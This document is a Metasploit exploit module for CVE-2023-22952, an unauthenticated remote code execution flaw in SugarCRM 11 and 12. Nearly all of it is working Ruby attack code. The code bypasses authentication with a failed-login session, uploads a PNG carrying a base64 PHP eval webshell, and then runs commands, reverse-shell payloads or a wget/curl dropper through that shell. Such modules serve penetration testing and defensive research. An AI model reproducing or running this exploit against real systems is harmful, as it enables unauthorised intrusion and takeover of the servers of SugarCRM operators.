SugarCRM 12.x Remote Code Execution / Shell Upload

`##  
# This module requires Metasploit: https://metasploit.com/download  
# Current source: https://github.com/rapid7/metasploit-framework  
##  
  
require 'securerandom'  
  
class MetasploitModule < Msf::Exploit::Remote  
Rank = GoodRanking  
  
include Msf::Exploit::Remote::HttpClient  
include Msf::Exploit::CmdStager  
include Msf::Exploit::FileDropper  
include Msf::Exploit::Format::PhpPayloadPng  
  
def initialize(info = {})  
super(  
update_info(  
info,  
'Name' => 'SugarCRM unauthenticated Remote Code Execution (RCE)',  
'Description' => %q{  
This module exploits CVE-2023-22952, a Remote Code Execution (RCE) vulnerability in SugarCRM 11.0 Enterprise,  
Professional, Sell, Serve, and Ultimate versions prior to 11.0.5 and SugarCRM 12.0 Enterprise, Sell, and  
Serve versions prior to 12.0.2.  
  
The vulnerability occurs due to a lack of appropriate validation when uploading a malicious PNG file with  
embedded PHP code to the /cache/images/ directory on the web server using the vulnerable endpoint  
/index.php?module=EmailTemplates&action=AttachFiles. Once uploaded to the server, depending on server configuration,  
the attacker can access the malicious PNG file via HTTP or HTTPS, thereby executing the malicious PHP code and  
gaining access to the system.  
  
This vulnerability does not require authentication because there is a missing authentication check in the  
loadUser() method in include/MVC/SugarApplication.php. After a failed login, the session does not get  
destroyed and hence the attacker can continue to send valid requests to the application.  
  
Because of this, any remote attacker, regardless of authentication, can exploit this vulnerability to gain  
access to the underlying operating system as the user that the web services are running as (typically www-data).  
},  
'Author' => [  
'Sw33t.0day', # discovery  
'h00die-gr3y <h00die.gr3y[at]gmail.com>' # Metasploit module  
],  
'References' => [  
[ 'CVE', '2023-22952' ],  
[ 'URL', 'https://seclists.org/fulldisclosure/2022/Dec/31' ],  
[ 'URL', 'https://support.sugarcrm.com/Resources/Security/sugarcrm-sa-2023-001/' ],  
[ 'URL', 'https://sugarclub.sugarcrm.com/engage/b/sugar-news/posts/jan-5-2023-security-vulnerability-update' ],  
[ 'URL', 'https://attackerkb.com/topics/E486ui94II/cve-2023-22952' ],  
[ 'PACKETSTORM', '170346' ]  
],  
'License' => MSF_LICENSE,  
'Platform' => [ 'unix', 'linux', 'php' ],  
'Privileged' => false,  
'Arch' => [ ARCH_CMD, ARCH_PHP, ARCH_X64, ARCH_X86 ],  
'Targets' => [  
[  
'PHP',  
{  
'Platform' => 'php',  
'Arch' => ARCH_PHP,  
'Type' => :php,  
'DefaultOptions' => {  
'PAYLOAD' => 'php/meterpreter/reverse_tcp'  
}  
}  
],  
[  
'Unix Command',  
{  
'Platform' => 'unix',  
'Arch' => ARCH_CMD,  
'Type' => :unix_cmd,  
'DefaultOptions' => {  
'PAYLOAD' => 'cmd/unix/reverse_bash'  
}  
}  
],  
[  
'Linux Dropper',  
{  
'Platform' => 'linux',  
'Arch' => [ ARCH_X64, ARCH_X86 ],  
'Type' => :linux_dropper,  
'CmdStagerFlavor' => [ 'wget', 'curl', 'printf', 'bourne' ],  
'DefaultOptions' => {  
'PAYLOAD' => 'linux/x64/meterpreter/reverse_tcp'  
}  
}  
]  
],  
'DefaultTarget' => 0,  
'DisclosureDate' => '2022-12-28',  
'DefaultOptions' => {  
'SSL' => false,  
'RPORT' => 80  
},  
'Notes' => {  
'Stability' => [ CRASH_SAFE ],  
'SideEffects' => [ ARTIFACTS_ON_DISK, IOC_IN_LOGS ],  
'Reliability' => [ REPEATABLE_SESSION ]  
}  
)  
)  
register_options(  
[  
OptString.new('TARGETURI', [ true, 'SugarCRM base url', '/' ]),  
OptString.new('WEBSHELL', [  
false, 'The name of the webshell with extension to trick the parser like .phtml, .phar, etc. Webshell name will be randomly generated if left unset.', ''  
]),  
OptEnum.new('COMMAND', [ true, 'Use PHP command function', 'passthru', [ 'passthru', 'shell_exec', 'system', 'exec' ]], conditions: %w[TARGET != 0])  
]  
)  
end  
  
def authenticate  
# generate PHP session-id  
@phpsessid = "PHPSESSID=#{SecureRandom.uuid}"  
  
# randomize user and password to obfuscate and make finger printing difficult.  
user_name = Rex::Text.rand_name  
user_password = Rex::Text.rand_text_alphanumeric(8..16)  
  
res = send_request_cgi({  
'method' => 'POST',  
'uri' => normalize_uri(datastore['TARGETURI'], 'index.php'),  
'cookie' => @phpsessid.to_s,  
'ctype' => 'application/x-www-form-urlencoded',  
'vars_post' => {  
'module' => 'Users',  
'action' => 'Authenticate',  
'user_name' => user_name.to_s,  
'user_password' => user_password.to_s  
}  
})  
if res && res.code == 500 && !res.body.blank?  
return true  
else  
return false  
end  
end  
  
def upload_webshell  
# randomize file name and extension if option WEBSHELL is not set  
file_ext = ['phar', 'phtml']  
if datastore['WEBSHELL'].blank?  
@webshell_name = "#{Rex::Text.rand_text_alpha(8..16)}.#{file_ext.sample}"  
else  
@webshell_name = datastore['WEBSHELL'].to_s  
end  
  
# select webshell depending on the target setting (PHP or others).  
@post_param = Rex::Text.rand_text_alphanumeric(1..8)  
@get_param = Rex::Text.rand_text_alphanumeric(1..8)  
  
if target['Type'] == :php  
payload = "<?php @eval(base64_decode($_POST[\'#{@post_param}\']));?>"  
else  
payload = "<?=$_GET[\'#{@get_param}\'](base64_decode($_POST[\'#{@post_param}\']));?>"  
end  
  
# inject PHP payload into the PLTE chunk of the PNG image  
png_webshell = inject_php_payload_png(payload, injection_method: 'PLTE')  
if png_webshell.nil?  
return false  
end  
  
# construct multipart form data  
form_data = Rex::MIME::Message.new  
form_data.add_part('AttachFiles', nil, nil, 'form-data; name="action"')  
form_data.add_part('EmailTemplates', nil, nil, 'form-data; name="module"')  
form_data.add_part(png_webshell.to_s, 'image/png', 'binary', "form-data; name=\"file\"; filename=\"#{@webshell_name}\"")  
  
res = send_request_cgi({  
'method' => 'POST',  
'uri' => normalize_uri(datastore['TARGETURI'], 'index.php'),  
'cookie' => @phpsessid.to_s,  
'ctype' => "multipart/form-data; boundary=#{form_data.bound}",  
'data' => form_data.to_s  
})  
if res && res.code == 200 && !res.body.blank?  
# parse HTML to find the webshell name embedded in a table that indicates a successful upload  
html = res.get_html_document  
if html.at("td[contains(\"#{@webshell_name}\")]")  
return true  
else  
return false  
end  
else  
return false  
end  
end  
  
def execute_php(cmd, _opts = {})  
payload = Base64.strict_encode64(cmd)  
return send_request_cgi({  
'method' => 'POST',  
'uri' => normalize_uri(datastore['TARGETURI'], 'cache', 'images', @webshell_name),  
'cookie' => @phpsessid.to_s,  
'ctype' => 'application/x-www-form-urlencoded',  
'vars_post' => {  
@post_param => payload  
}  
})  
end  
  
def execute_command(cmd, _opts = {})  
payload = Base64.strict_encode64(cmd)  
php_cmd_function = datastore['COMMAND']  
return send_request_cgi({  
'method' => 'POST',  
'uri' => normalize_uri(datastore['TARGETURI'], 'cache', 'images', @webshell_name),  
'cookie' => @phpsessid.to_s,  
'ctype' => 'application/x-www-form-urlencoded',  
'vars_get' => {  
@get_param => php_cmd_function  
},  
'vars_post' => {  
@post_param => payload  
}  
})  
end  
  
def exploit  
fail_with(Failure::NoAccess, 'Authentication bypass failed.') unless authenticate  
fail_with(Failure::NotVulnerable, "Webshell #{@webshell_name} upload failed, the system is likely patched.") unless upload_webshell  
register_file_for_cleanup(@webshell_name.to_s)  
  
print_status("Executing #{target.name} for #{datastore['PAYLOAD']}")  
case target['Type']  
when :php  
execute_php(payload.encoded)  
when :unix_cmd  
execute_command(payload.encoded)  
when :linux_dropper  
execute_cmdstager(linemax: 65536)  
end  
end  
end  
`